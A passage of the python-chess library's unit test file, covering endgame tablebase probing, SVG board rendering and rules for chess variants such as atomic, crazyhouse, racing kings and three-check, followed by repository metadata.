self.assertLessEqual(dtz, 2 * solution["max_dtm"]) elif wdl == 0: self.assertEqual(dtz, 0) else: self.assertLessEqual(dtz, chess.syzygy.dtz_before_zeroing(wdl)) self.assertGreaterEqual(dtz, 2 * solution["max_dtm"]) @catchAndSkip(chess.syzygy.MissingTableError) def test_suicide_dtz(self): with chess.syzygy.open_tablebase("data/syzygy/suicide", VariantBoard=chess.variant.SuicideBoard) as tables, open("data/suicide-dtz.epd") as epds: for epd in epds: epd = epd.strip() if epd.startswith("%") or epd.startswith("#"): continue board, solution = chess.variant.SuicideBoard.from_epd(epd) dtz = tables.probe_dtz(board) self.assertEqual(dtz, solution["dtz"], f"Expecting dtz {solution['dtz']}, got {dtz} (in {epd})") @catchAndSkip(chess.syzygy.MissingTableError) def test_suicide_stats(self): board = chess.variant.SuicideBoard() with chess.syzygy.open_tablebase("data/syzygy/suicide", VariantBoard=type(board)) as tables, open("data/suicide-stats.epd") as epds: for l, epd in enumerate(epds): solution = board.set_epd(epd) dtz = tables.probe_dtz(board) self.assertAlmostEqual(dtz, solution["dtz"], delta=1, msg=f"Expected dtz {solution['dtz']}, got {dtz} (in l. {l + 1}, fen: {board.fen()})") def test_antichess_kvk(self): kvk = chess.variant.AntichessBoard("4k3/8/8/8/8/8/8/4K3 w - - 0 1") tables = chess.syzygy.Tablebase() with self.assertRaises(KeyError): tables.probe_dtz(kvk) tables = chess.syzygy.Tablebase(VariantBoard=chess.variant.AntichessBoard) with self.assertRaises(chess.syzygy.MissingTableError): tables.probe_dtz(kvk) class NativeGaviotaTestCase(unittest.TestCase): @unittest.skipUnless(platform.python_implementation() == "CPython", "need CPython for native Gaviota") @catchAndSkip((OSError, RuntimeError), "need libgtb") def setUp(self): self.tablebase = chess.gaviota.open_tablebase_native("data/gaviota") def tearDown(self): self.tablebase.close() def test_native_probe_dtm(self): board = chess.Board("6K1/8/8/8/4Q3/8/6k1/8 b - - 0 1") self.assertEqual(self.tablebase.probe_dtm(board), -14) board = chess.Board("8/3K4/8/8/8/4r3/4k3/8 b - - 0 1") self.assertEqual(self.tablebase.get_dtm(board), 21) def test_native_probe_wdl(self): board = chess.Board("8/8/4K3/2n5/8/3k4/8/8 w - - 0 1") self.assertEqual(self.tablebase.probe_wdl(board), 0) board = chess.Board("8/8/1p2K3/8/8/3k4/8/8 b - - 0 1") self.assertEqual(self.tablebase.get_wdl(board), 1) @catchAndSkip(chess.gaviota.MissingTableError, "need KPPvKP.gtb.cp4") def test_two_ep(self): board = chess.Board("8/8/8/8/5pPp/8/5K1k/8 b - g3 0 61") self.assertEqual(self.tablebase.probe_dtm(board), 19) class GaviotaTestCase(unittest.TestCase): @catchAndSkip(ImportError) def setUp(self): self.tablebase = chess.gaviota.open_tablebase("data/gaviota", LibraryLoader=None) def tearDown(self): self.tablebase.close() @catchAndSkip(chess.gaviota.MissingTableError) def test_dm_4(self): with open("data/endgame-dm-4.epd") as epds: for line, epd in enumerate(epds): # Skip empty lines and comments. epd = epd.strip() if not epd or epd.startswith("#"): continue # Parse EPD. board, extra = chess.Board.from_epd(epd) # Check DTM. if extra["dm"] > 0: expected = extra["dm"] * 2 - 1 else: expected = extra["dm"] * 2 dtm = self.tablebase.probe_dtm(board) self.assertEqual(dtm, expected, f"Expecting dtm {expected} for {board.fen()}, got {dtm} (at line {line + 1})") @catchAndSkip(chess.gaviota.MissingTableError) def test_dm_5(self): with open("data/endgame-dm-5.epd") as epds: for line, epd in enumerate(epds): # Skip empty lines and comments. epd = epd.strip() if not epd or epd.startswith("#"): continue # Parse EPD. board, extra = chess.Board.from_epd(epd) # Check DTM. if extra["dm"] > 0: expected = extra["dm"] * 2 - 1 else: expected = extra["dm"] * 2 dtm = self.tablebase.probe_dtm(board) self.assertEqual(dtm, expected, f"Expecting dtm {expected} for {board.fen()}, got {dtm} (at line {line + 1})") def test_wdl(self): board = chess.Board("8/8/4K3/2n5/8/3k4/8/8 w - - 0 1") self.assertEqual(self.tablebase.probe_wdl(board), 0) board = chess.Board("8/8/1p2K3/8/8/3k4/8/8 b - - 0 1") self.assertEqual(self.tablebase.probe_wdl(board), 1) def test_context_manager(self): self.assertTrue(self.tablebase.available_tables) with self.tablebase: pass self.assertFalse(self.tablebase.available_tables) @catchAndSkip(chess.gaviota.MissingTableError, "need KPPvKP.gtb.cp4") def test_two_ep(self): board = chess.Board("8/8/8/8/5pPp/8/5K1k/8 b - g3 0 61") self.assertEqual(self.tablebase.probe_dtm(board), 19) board = chess.Board("K7/8/8/6k1/5pPp/8/8/8 b - g3 0 61") self.assertEqual(self.tablebase.probe_dtm(board), 17) class SvgTestCase(unittest.TestCase): def test_svg_board(self): svg = chess.BaseBoard("4k3/8/8/8/8/8/8/4KB2")._repr_svg_() self.assertIn("white bishop", svg) self.assertNotIn("black queen", svg) def test_svg_arrows(self): svg = chess.svg.board(arrows=[(chess.A1, chess.A1)]) self.assertIn("<circle", svg) self.assertNotIn("<line", svg) svg = chess.svg.board(arrows=[chess.svg.Arrow(chess.A1, chess.H8)]) self.assertNotIn("<circle", svg) self.assertIn("<line", svg) def test_svg_piece(self): svg = chess.svg.piece(chess.Piece.from_symbol("K")) self.assertIn("id=\"white-king\"", svg) class SuicideTestCase(unittest.TestCase): def test_parse_san(self): board = chess.variant.SuicideBoard() board.push_san("e4") board.push_san("d5") # Capture is mandatory. with self.assertRaises(chess.IllegalMoveError): board.push_san("Nf3") def test_is_legal(self): board = chess.variant.SuicideBoard("4k3/8/8/8/8/1r3B2/8/4K3 b - - 0 1") Rxf3 = board.parse_san("Rxf3") Rb4 = chess.Move.from_uci("b3b4") self.assertTrue(board.is_legal(Rxf3)) self.assertIn(Rxf3, board.generate_legal_moves()) self.assertFalse(board.is_legal(Rb4)) self.assertNotIn(Rb4, board.generate_legal_moves()) def test_suicide_insufficient_material(self): # Kings only. board = chess.variant.SuicideBoard("8/8/8/2k5/8/8/4K3/8 b - - 0 1") self.assertFalse(board.is_insufficient_material()) # Bishops on the same color. board = chess.variant.SuicideBoard("8/8/8/5b2/2B5/1B6/8/8 b - - 0 1") self.assertFalse(board.is_insufficient_material()) # Opposite-color bishops. board = chess.variant.SuicideBoard("4b3/8/8/8/3B4/2B5/8/8 b - - 0 1") self.assertTrue(board.is_insufficient_material()) # Pawn not blocked. board = chess.variant.SuicideBoard("8/5b2/5P2/8/3B4/2B5/8/8 b - - 0 1") self.assertFalse(board.is_insufficient_material()) # Pawns blocked, but on wrong color. board = chess.variant.SuicideBoard("8/5p2/5P2/8/8/8/3b4/8 b - - 0 1") self.assertFalse(board.is_insufficient_material()) # Stalemate. board = chess.variant.SuicideBoard("6B1/6pB/6P1/8/8/8/8/8 b - - 0 1") self.assertFalse(board.is_insufficient_material()) # Pawns not really locked up. board = chess.variant.SuicideBoard("8/8/8/2pp4/2PP4/8/8/8 w - - 0 1") self.assertFalse(board.is_insufficient_material()) def test_king_promotions(self): board = chess.variant.SuicideBoard("8/6P1/8/3K1k2/8/8/3p4/8 b - - 0 1") d1K = chess.Move.from_uci("d2d1k") self.assertIn(d1K, board.generate_legal_moves()) self.assertTrue(board.is_pseudo_legal(d1K)) self.assertTrue(board.is_legal(d1K)) self.assertEqual(board.san(d1K), "d1=K") self.assertEqual(board.parse_san("d1=K"), d1K) class AtomicTestCase(unittest.TestCase): def test_atomic_capture(self): fen = "rnbqkb1r/pp2pppp/2p2n2/3p4/2PP4/2N2N2/PP2PPPP/R1BQKB1R b KQkq - 3 4" board = chess.variant.AtomicBoard(fen) board.push_san("dxc4") self.assertEqual(board.fen(), "rnbqkb1r/pp2pppp/2p2n2/8/3P4/5N2/PP2PPPP/R1BQKB1R w KQkq - 0 5") board.pop() self.assertEqual(board.fen(), fen) def test_atomic_mate_legality(self): # We are in check. Not just any move will do. board = chess.variant.AtomicBoard("8/8/1Q2pk2/8/8/8/3K4/1n6 w - - 0 1") self.assertTrue(board.is_check()) Qa7 = chess.Move.from_uci("b6a7") self.assertTrue(board.is_pseudo_legal(Qa7)) self.assertFalse(board.is_legal(Qa7)) self.assertNotIn(Qa7, board.generate_legal_moves()) # Ignore check to explode the opponent's king. Qxe6 = board.parse_san("Qxe6#") self.assertTrue(board.is_legal(Qxe6)) self.assertIn(Qxe6, board.generate_legal_moves()) # Exploding both kings is not a legal check evasion. board = chess.variant.AtomicBoard("8/8/8/2K5/2P5/2k1n3/8/2R5 b - - 0 1") Nxc4 = chess.Move.from_uci("e3c4") self.assertTrue(board.is_pseudo_legal(Nxc4)) self.assertFalse(board.is_legal(Nxc4)) self.assertNotIn(Nxc4, board.generate_legal_moves()) def test_atomic_en_passant(self): # Real-world position. board = chess.variant.AtomicBoard("rn2kb1r/2p1p2p/p2q1pp1/1pPP4/Q7/4P3/PP3P1P/R3K3 w Qkq b6 0 11") board.push_san("cxb6+") self.assertEqual(board.fen(), "rn2kb1r/2p1p2p/p2q1pp1/3P4/Q7/4P3/PP3P1P/R3K3 b Qkq - 0 11") # Test the explosion radius. board = chess.variant.AtomicBoard("3kK3/8/8/2NNNNN1/2NN1pN1/2NN1NN1/2NNPNN1/2NNNNN1 w - - 0 1") board.push_san("e4") board.push_san("fxe3") self.assertEqual(board.fen(), "3kK3/8/8/2NNNNN1/2N3N1/2N3N1/2N3N1/2NNNNN1 w - - 0 2") def test_atomic_insufficient_material(self): # Starting position. board = chess.variant.AtomicBoard() self.assertFalse(board.is_insufficient_material()) # Single rook. board = chess.variant.AtomicBoard("8/3k4/8/8/4R3/4K3/8/8 w - - 0 1") self.assertTrue(board.is_insufficient_material()) # Only bishops, but no captures possible. board = chess.variant.AtomicBoard("7k/4b3/8/8/8/3B4/2B5/K7 w - - 0 1") self.assertTrue(board.is_insufficient_material()) # Bishops of both sides on the same color complex. board = chess.variant.AtomicBoard("7k/3b4/8/8/8/3B4/2B5/K7 w - - 0 1") self.assertFalse(board.is_insufficient_material()) # Knights on both sides. board = chess.variant.AtomicBoard("8/1n6/1k6/8/8/8/3KN3/8 w - - 0 1") self.assertFalse(board.is_insufficient_material()) # Two knights can not win. board = chess.variant.AtomicBoard("8/1nn5/1k6/8/8/8/3K4/8 w - - 0 1") self.assertTrue(board.is_insufficient_material()) # KQN can win (even KQ could). board = chess.variant.AtomicBoard("3Q4/5kKB/8/8/8/8/8/8 b - - 0 1") self.assertFalse(board.is_insufficient_material()) def test_castling_uncovered_rank_attack(self): board = chess.variant.AtomicBoard("8/8/8/8/8/8/4k3/rR4KR w KQ - 0 1", chess960=True) self.assertFalse(board.is_legal(chess.Move.from_uci("g1b1"))) # Kings are touching at the end. board = chess.variant.AtomicBoard("8/8/8/8/8/8/2k5/rR4KR w KQ - 0 1", chess960=True) self.assertTrue(board.is_legal(chess.Move.from_uci("g1b1"))) def test_atomic_castle_with_kings_touching(self): board = chess.variant.AtomicBoard("5b1r/1p5p/4ppp1/4Bn2/1PPP1PP1/4P2P/3k4/4K2R w K - 1 1") board.push_san("O-O") self.assertEqual(board.fen(), "5b1r/1p5p/4ppp1/4Bn2/1PPP1PP1/4P2P/3k4/5RK1 b - - 2 1") board = chess.variant.AtomicBoard("8/8/8/8/8/8/4k3/R3K2q w Q - 0 1") board.push_san("O-O-O") self.assertEqual(board.fen(), "8/8/8/8/8/8/4k3/2KR3q b - - 1 1") board = chess.variant.AtomicBoard("8/8/8/8/8/8/5k2/R3K2r w Q - 0 1") with self.assertRaises(chess.IllegalMoveError): board.push_san("O-O-O") board = chess.variant.AtomicBoard("8/8/8/8/8/8/6k1/R5Kr w Q - 0 1", chess960=True) with self.assertRaises(chess.IllegalMoveError): board.push_san("O-O-O") board = chess.variant.AtomicBoard("8/8/8/8/8/8/4k3/r2RK2r w D - 0 1", chess960=True) with self.assertRaises(chess.IllegalMoveError): board.push_san("O-O-O") def test_castling_rights_explode_with_king(self): board = chess.variant.AtomicBoard("rnb1kbnr/pppppppp/8/4q3/8/8/PPPPPPPP/RNBQKBNR b KQkq - 0 1") board.push_san("Qxe2#") self.assertEqual(board.fen(), "rnb1kbnr/pppppppp/8/8/8/8/PPPP1PPP/RNB3NR w kq - 0 2") self.assertEqual(board.castling_rights, chess.BB_A8 | chess.BB_H8) def test_lone_king_wdl(self): tables = chess.syzygy.Tablebase(VariantBoard=chess.variant.AtomicBoard) board = chess.variant.AtomicBoard.empty() board.set_piece_at(chess.D1, chess.Piece.from_symbol("k")) self.assertEqual(tables.probe_wdl(board), -2) def test_atomic_validity(self): # 14 checkers, the maximum in Atomic chess. board = chess.variant.AtomicBoard("3N1NB1/2N1Q1N1/3RkR2/2NP1PN1/3NKN2/8/8/n7 w - - 0 1") self.assertEqual(board.status(), chess.STATUS_VALID) def test_atomic960(self): pgn = io.StringIO(textwrap.dedent("""\ [Variant "Atomic"] [FEN "rkrbbnnq/pppppppp/8/8/8/8/PPPPPPPP/RKRBBNNQ w KQkq - 0 1"] 1. g3 d5 2. Nf3 e5 3. Ng5 Bxg5 4. Qf3 Ne6 5. Qa3 a5 6. d4 g6 7. c3 h5 8. h4 Qh6 9. Bd2 Qxd2 10. O-O-O * """)) game = chess.pgn.read_game(pgn) self.assertTrue(game.board().chess960) self.assertEqual(game.end().parent.board().fen(), "rkr1b1n1/1pp2p2/4n1p1/p2pp2p/3P3P/Q1P3P1/PP2PP2/RK3N2 w Qkq - 0 10") self.assertEqual(game.end().board().fen(), "rkr1b1n1/1pp2p2/4n1p1/p2pp2p/3P3P/Q1P3P1/PP2PP2/2KR1N2 b kq - 1 10") def test_atomic_king_exploded(self): board = chess.variant.AtomicBoard("rn5r/pp4pp/2p3Nn/5p2/1b2P1PP/8/PPP2P2/R1B1KB1R b KQ - 0 9") self.assertEqual(board.outcome().winner, chess.WHITE) self.assertEqual(board.status(), chess.STATUS_VALID) class RacingKingsTestCase(unittest.TestCase): def test_variant_end(self): board = chess.variant.RacingKingsBoard() board.push_san("Nxc2") self.assertFalse(board.is_variant_draw()) self.assertFalse(board.is_variant_loss()) self.assertFalse(board.is_variant_win()) # Black is given a chance to catch up. board = chess.variant.RacingKingsBoard("1K6/7k/8/8/8/8/8/8 b - - 0 1") self.assertFalse(board.is_game_over()) board.push_san("Kg7") # ?? self.assertFalse(board.is_variant_draw()) self.assertTrue(board.is_variant_win()) self.assertFalse(board.is_variant_loss()) # White to move is lost, because black reached the backrank. board = chess.variant.RacingKingsBoard("1k6/6K1/8/8/8/8/8/8 w - - 0 1") self.assertFalse(board.is_variant_draw()) self.assertFalse(board.is_variant_win()) self.assertTrue(board.is_variant_loss()) # Black to move is lost, because they cannot reach the backrank. board = chess.variant.RacingKingsBoard("5RK1/1k6/8/8/8/8/8/8 b - - 0 1") self.assertFalse(board.is_variant_draw()) self.assertFalse(board.is_variant_win()) self.assertTrue(board.is_variant_loss()) # White far away. board = chess.variant.RacingKingsBoard("k1q1R2Q/3N4/8/8/5K2/6n1/1b6/1r6 w - - 4 19") self.assertTrue(board.is_variant_end()) self.assertTrue(board.is_variant_loss()) self.assertFalse(board.is_variant_win()) self.assertFalse(board.is_variant_draw()) self.assertEqual(board.result(), "0-1") # Black near backrank, but cannot move there. board = chess.variant.RacingKingsBoard("2KR4/k7/2Q5/4q3/8/8/8/2N5 b - - 0 1") self.assertTrue(board.is_variant_end()) self.assertTrue(board.is_variant_loss()) self.assertFalse(board.is_variant_win()) self.assertFalse(board.is_variant_draw()) self.assertEqual(board.result(), "1-0") # Black two moves away. board = chess.variant.RacingKingsBoard("1r4RK/6R1/k1r5/8/8/8/4N3/q2n1n2 b - - 0 1") self.assertTrue(board.is_variant_end()) self.assertTrue(board.is_variant_loss()) self.assertFalse(board.is_variant_win()) self.assertFalse(board.is_variant_draw()) self.assertEqual(board.result(), "1-0") # Both sides already reached the backrank. board = chess.variant.RacingKingsBoard("kr3NK1/1q2R3/8/8/8/5n2/2N5/1rb2B1R w - - 11 14") self.assertTrue(board.is_variant_end()) self.assertFalse(board.is_variant_loss()) self.assertFalse(board.is_variant_win()) self.assertTrue(board.is_variant_draw()) self.assertEqual(board.result(), "1/2-1/2") # Another draw. board = chess.variant.RacingKingsBoard("1knq1RK1/2n5/8/8/3N4/6N1/6B1/8 w - - 23 25") self.assertTrue(board.is_variant_end()) self.assertFalse(board.is_variant_loss()) self.assertFalse(board.is_variant_win()) self.assertTrue(board.is_variant_draw()) self.assertEqual(board.result(), "1/2-1/2") def test_stalemate(self): board = chess.variant.RacingKingsBoard("1Q4R1/5K2/4B3/8/8/3N4/8/k7 b - - 0 1") self.assertTrue(board.is_game_over()) self.assertTrue(board.is_stalemate()) self.assertFalse(board.is_variant_win()) self.assertFalse(board.is_variant_draw()) self.assertFalse(board.is_variant_loss()) self.assertEqual(board.result(), "1/2-1/2") # Here white already reached the backrank. board = chess.variant.RacingKingsBoard("4Q1K1/8/7k/4R3/8/5B2/8/3N4 b - - 0 1") self.assertTrue(board.is_game_over()) self.assertFalse(board.is_stalemate()) self.assertFalse(board.is_variant_win()) self.assertTrue(board.is_variant_loss()) self.assertFalse(board.is_variant_draw()) self.assertEqual(board.result(), "1-0") def test_race_over(self): self.assertTrue(chess.variant.RacingKingsBoard().is_valid()) # This position with black to move and both kings on the backrank is # invalid because the race should have been over already. board = chess.variant.RacingKingsBoard("3krQK1/8/8/8/1q6/3B1N2/1b6/1R4R1 b - - 0 0") self.assertEqual(board.status(), chess.STATUS_RACE_OVER) def test_race_material(self): board = chess.variant.RacingKingsBoard() # Switch color of the black rook. board.set_piece_at(chess.B1, chess.Piece.from_symbol("R")) self.assertEqual(board.status(), chess.STATUS_RACE_MATERIAL) def test_legal_moves_after_end(self): board = chess.variant.RacingKingsBoard("1k5b/5b2/8/8/8/8/3N3K/N4B2 w - - 0 1") self.assertTrue(board.is_variant_end()) self.assertTrue(board.is_variant_loss()) self.assertFalse(board.is_stalemate()) self.assertFalse(any(board.generate_legal_moves())) def test_racing_kings_status_with_check(self): board = chess.variant.RacingKingsBoard("8/8/8/8/R7/8/krbnNB1K/qrbnNBRQ b - - 1 1") self.assertFalse(board.is_valid()) self.assertEqual(board.status(), chess.STATUS_RACE_CHECK | chess.STATUS_TOO_MANY_CHECKERS | chess.STATUS_IMPOSSIBLE_CHECK) class HordeTestCase(unittest.TestCase): def test_status(self): board = chess.variant.HordeBoard() self.assertEqual(board.status(), chess.STATUS_VALID) # Black (non-horde) piece on first rank. board = chess.variant.HordeBoard("rnb1kbnr/ppp1pppp/2Pp2PP/1P3PPP/PPP1PPPP/PPP1PPPP/PPP1PPP1/PPPqPP2 w kq - 0 1") self.assertEqual(board.status(), chess.STATUS_VALID) def test_double_pawn_push(self): board = chess.variant.HordeBoard("8/8/8/8/8/3k1p2/8/PPPPPPPP w - - 0 1") # Double pawn push blocked by king. self.assertNotIn(chess.Move.from_uci("d1d3"), board.generate_legal_moves()) # Double pawn push from backrank possible. self.assertIn(chess.Move.from_uci("e1e2"), board.generate_legal_moves()) self.assertTrue(board.is_legal(board.parse_san("e2"))) self.assertIn(chess.Move.from_uci("e1e3"), board.generate_legal_moves()) self.assertTrue(board.is_legal(board.parse_san("e3"))) # En passant not possible. board.push_san("e3") self.assertFalse(any(board.generate_pseudo_legal_ep())) class ThreeCheckTestCase(unittest.TestCase): def test_get_fen(self): board = chess.variant.ThreeCheckBoard() self.assertEqual(board.fen(), chess.variant.ThreeCheckBoard.starting_fen) self.assertEqual(board.epd(), "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 3+3") board.push_san("e4") board.push_san("e5") board.push_san("Qf3") board.push_san("Nc6") board.push_san("Qxf7+") self.assertEqual(board.fen(), "r1bqkbnr/pppp1Qpp/2n5/4p3/4P3/8/PPPP1PPP/RNB1KBNR b KQkq - 2+3 0 3") lichess_fen = "r1bqkbnr/pppp1Qpp/2n5/4p3/4P3/8/PPPP1PPP/RNB1KBNR b KQkq - 0 3 +1+0" self.assertEqual(board.fen(), chess.variant.ThreeCheckBoard(lichess_fen).fen()) def test_copy(self): fen = "8/8/1K2p3/3qP2k/8/8/8/8 b - - 2+1 3 57" board = chess.variant.ThreeCheckBoard(fen) self.assertEqual(board.copy().fen(), fen) def test_mirror_checks(self): fen = "3R4/1p3rpk/p4p1p/2B1n3/8/2P1PP2/bPN4P/6K1 w - - 5 29 +2+0" board = chess.variant.ThreeCheckBoard(fen) self.assertEqual(board, board.mirror().mirror()) def test_lichess_fen(self): board = chess.variant.ThreeCheckBoard("8/8/1K2p3/3qP2k/8/8/8/8 b - - 3 57 +1+2") self.assertEqual(board.remaining_checks[chess.WHITE], 2) self.assertEqual(board.remaining_checks[chess.BLACK], 1) def test_set_epd(self): epd = "4r3/ppk3p1/4b2p/2ppPp2/5P2/2P3P1/PP1N2P1/3R2K1 w - - 1+3 foo \"bar\";" board, extra = chess.variant.ThreeCheckBoard.from_epd(epd) self.assertEqual(board.epd(), "4r3/ppk3p1/4b2p/2ppPp2/5P2/2P3P1/PP1N2P1/3R2K1 w - - 1+3") self.assertEqual(extra["foo"], "bar") def test_check_is_irreversible(self): board = chess.variant.ThreeCheckBoard() move = board.parse_san("Nf3") self.assertFalse(board.is_irreversible(move)) board.push(move) move = board.parse_san("e5") self.assertTrue(board.is_irreversible(move)) board.push(move) move = board.parse_san("Nxe5") self.assertTrue(board.is_irreversible(move)) board.push(move) # Lose castling rights. move = board.parse_san("Ke7") self.assertTrue(board.is_irreversible(move)) board.push(move) # Give check. move = board.parse_san("Nc6+") self.assertTrue(board.is_irreversible(move)) def test_three_check_eq(self): a = chess.variant.ThreeCheckBoard() a.push_san("e4") b = chess.variant.ThreeCheckBoard("rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1 +0+0") c = chess.variant.ThreeCheckBoard("rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1 +0+1") self.assertEqual(a, b) self.assertNotEqual(a, c) self.assertNotEqual(b, c) def test_three_check_root(self): board = chess.variant.ThreeCheckBoard("r1bq1bnr/pppp1kpp/2n5/4p3/4P3/8/PPPP1PPP/RNBQK1NR w KQ - 2+3 0 4") self.assertEqual(board.root().remaining_checks[chess.WHITE], 2) self.assertEqual(board.root().remaining_checks[chess.BLACK], 3) self.assertEqual(board.copy().root().remaining_checks[chess.WHITE], 2) self.assertEqual(board.copy().root().remaining_checks[chess.BLACK], 3) board.push_san("Qf3+") board.push_san("Ke6") board.push_san("Qb3+") self.assertEqual(board.root().remaining_checks[chess.WHITE], 2) self.assertEqual(board.root().remaining_checks[chess.BLACK], 3) self.assertEqual(board.copy().root().remaining_checks[chess.WHITE], 2) self.assertEqual(board.copy().root().remaining_checks[chess.BLACK], 3) def test_three_check_epd(self): board, ops = chess.variant.ThreeCheckBoard.from_epd("rnb1kbnr/pppp1ppp/8/8/2B1Pp1q/8/PPPP2PP/RNBQ1KNR b kq - 3+2 hmvc 3; fmvn 4; bm Qf2+") self.assertEqual(board.remaining_checks[chess.WHITE], 3) self.assertEqual(board.remaining_checks[chess.BLACK], 2) self.assertEqual(board.halfmove_clock, 3) self.assertEqual(board.fullmove_number, 4) self.assertEqual(ops["bm"], [chess.Move.from_uci("h4f2")]) class CrazyhouseTestCase(unittest.TestCase): def test_pawn_drop(self): board = chess.variant.CrazyhouseBoard("r2q1rk1/ppp2pp1/1bnp3p/3B4/3PP1b1/4PN2/PP4PP/R2Q1RK1[BNPnp] b - - 0 13") P_at_e6 = chess.Move.from_uci("P@e6") self.assertIn(chess.E6, board.legal_drop_squares()) self.assertIn(P_at_e6, board.generate_legal_moves()) self.assertTrue(board.is_pseudo_legal(P_at_e6)) self.assertTrue(board.is_legal(P_at_e6)) self.assertEqual(board.uci(P_at_e6), "P@e6") self.assertEqual(board.san(P_at_e6), "@e6") def test_lichess_pgn(self): with open("data/pgn/saturs-jannlee-zh-lichess.pgn") as pgn: game = chess.pgn.read_game(pgn) final_board = game.end().board() self.assertEqual(final_board.fen(), "r4r2/ppp2ppk/pb1p1pNp/K2NpP2/3qn3/1B3b2/PP5P/8[QRRBNPP] w - - 8 62") self.assertTrue(final_board.is_valid()) with open("data/pgn/knightvuillaume-jannlee-zh-lichess.pgn") as pgn: game = chess.pgn.read_game(pgn) self.assertEqual(game.end().board().move_stack[23], chess.Move.from_uci("N@f3")) def test_pawns_in_pocket(self): board = chess.variant.CrazyhouseBoard("r2q1rk1/ppp2pp1/1bnp3p/3Bp3/4P1b1/2PPPN2/PP4PP/R2Q1RK1/NBn w - - 22 12") board.push_san("d4") board.push_san("exd4") board.push_san("cxd4") self.assertEqual(board.fen(), "r2q1rk1/ppp2pp1/1bnp3p/3B4/3PP1b1/4PN2/PP4PP/R2Q1RK1[BNPnp] b - - 0 13") board.push_san("@e6") self.assertEqual(board.fen(), "r2q1rk1/ppp2pp1/1bnpp2p/3B4/3PP1b1/4PN2/PP4PP/R2Q1RK1[BNPn] w - - 1 14") def test_capture(self): board = chess.variant.CrazyhouseBoard("4k3/8/8/1n6/8/3B4/8/4K3 w - - 0 1") board.push_san("Bxb5+") self.assertEqual(board.fen(), "4k3/8/8/1B6/8/8/8/4K3[N] b - - 0 1") board.pop() self.assertEqual(board.fen(), "4k3/8/8/1n6/8/3B4/8/4K3[] w - - 0 1") def test_capture_with_promotion(self): board = chess.variant.CrazyhouseBoard("4k3/8/8/8/8/8/1p6/2R1K3 b - - 0 1") move = board.parse_san("bxc1=Q") self.assertFalse(board.is_irreversible(move)) board.push(move) self.assertEqual(board.fen(), "4k3/8/8/8/8/8/8/2q~1K3[r] w - - 0 2") board.pop() self.assertEqual(board.fen(), "4k3/8/8/8/8/8/1p6/2R1K3[] b - - 0 1") def test_illegal_drop_uci(self): board = chess.variant.CrazyhouseBoard() with self.assertRaises(chess.IllegalMoveError): board.parse_uci("N@f3") def test_crazyhouse_fen(self): fen = "r3kb1r/p1pN1ppp/2p1p3/8/2Pn4/3Q4/PP3PPP/R1B2q~K1[] w kq - 0 1" board = chess.variant.CrazyhouseBoard(fen) self.assertEqual(board.fen(), fen) def test_push_pop_ep(self): fen = "rnbqkb1r/ppp1pppp/5n2/3pP3/8/8/PPPP1PPP/RNBQKBNR[] w KQkq d6 0 3" board = chess.variant.CrazyhouseBoard(fen) board.push_san("exd6") self.assertEqual(board.fen(), "rnbqkb1r/ppp1pppp/3P1n2/8/8/8/PPPP1PPP/RNBQKBNR[P] b KQkq - 0 3") self.assertEqual(board.pop(), chess.Move.from_uci("e5d6")) self.assertEqual(board.fen(), fen) def test_crazyhouse_insufficient_material(self): board = chess.variant.CrazyhouseBoard() self.assertFalse(board.is_insufficient_material()) board = chess.variant.CrazyhouseBoard.empty() self.assertTrue(board.is_insufficient_material()) board.pockets[chess.WHITE].add(chess.PAWN) self.assertFalse(board.is_insufficient_material()) def test_mirror_pockets(self): fen = "r1b1k2r/p1pq1ppp/1bBbnp2/8/6N1/5P2/PPP2PPP/R4RK1/PQPPNn w kq - 30 16" board = chess.variant.CrazyhouseBoard(fen) self.assertEqual(board, board.mirror().mirror()) def test_root_pockets(self): board = chess.variant.CrazyhouseBoard("r2B1rk1/ppp2ppp/3p4/4p3/2B5/2NP1R1P/PPPn2K1/8/QPBQPRNNbp w - - 40 21") white_pocket = "qqrbnnpp" black_pocket = "bp" self.assertEqual(str(board.root().pockets[chess.WHITE]), white_pocket) self.assertEqual(str(board.root().pockets[chess.BLACK]), black_pocket) self.assertEqual(str(board.copy().root().pockets[chess.WHITE]), white_pocket) self.assertEqual(str(board.copy().root().pockets[chess.BLACK]), black_pocket) board.push_san("N@h6+") board.push_san("Kh8") board.push_san("R@g8+") board.push_san("Rxg8") board.push_san("Nxf7#") self.assertEqual(str(board.root().pockets[chess.WHITE]), white_pocket) self.assertEqual(str(board.root().pockets[chess.BLACK]), black_pocket) self.assertEqual(str(board.copy().root().pockets[chess.WHITE]), white_pocket) self.assertEqual(str(board.copy().root().pockets[chess.BLACK]), black_pocket) def test_zh_is_irreversible(self): board = chess.variant.CrazyhouseBoard("r3k2r/8/8/8/8/8/8/R3K2R w Qkq - 0 1") self.assertTrue(board.is_irreversible(board.parse_san("Ra2"))) self.assertTrue(board.is_irreversible(board.parse_san("O-O-O"))) self.assertTrue(board.is_irreversible(board.parse_san("Kd1"))) self.assertTrue(board.is_irreversible(board.parse_san("Rxa8"))) self.assertTrue(board.is_irreversible(board.parse_san("Rxh8"))) self.assertFalse(board.is_irreversible(board.parse_san("Rf1"))) self.assertFalse(board.is_irreversible(chess.Move.null())) class GiveawayTestCase(unittest.TestCase): def test_antichess_pgn(self): with open("data/pgn/antichess-programfox.pgn") as pgn: game = chess.pgn.read_game(pgn) self.assertEqual(game.end().board().fen(), "8/2k5/8/8/8/8/6b1/8 w - - 0 32") game = chess.pgn.read_game(pgn) self.assertEqual(game.end().board().fen(), "8/6k1/3K4/8/8/3k4/8/8 w - - 4 33") if __name__ == "__main__": verbosity = sum(arg.count("v") for arg in sys.argv if all(c == "v" for c in arg.lstrip("-"))) verbosity += sys.argv.count("--verbose") if verbosity >= 2: logging.basicConfig(level=logging.DEBUG) raise_log_handler = RaiseLogHandler() raise_log_handler.setLevel(logging.ERROR) logging.getLogger().addHandler(raise_log_handler) unittest.main()
210,805
Python
.py
4,004
42.140609
180
0.616464
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,415
release.py
niklasf_python-chess/release.py
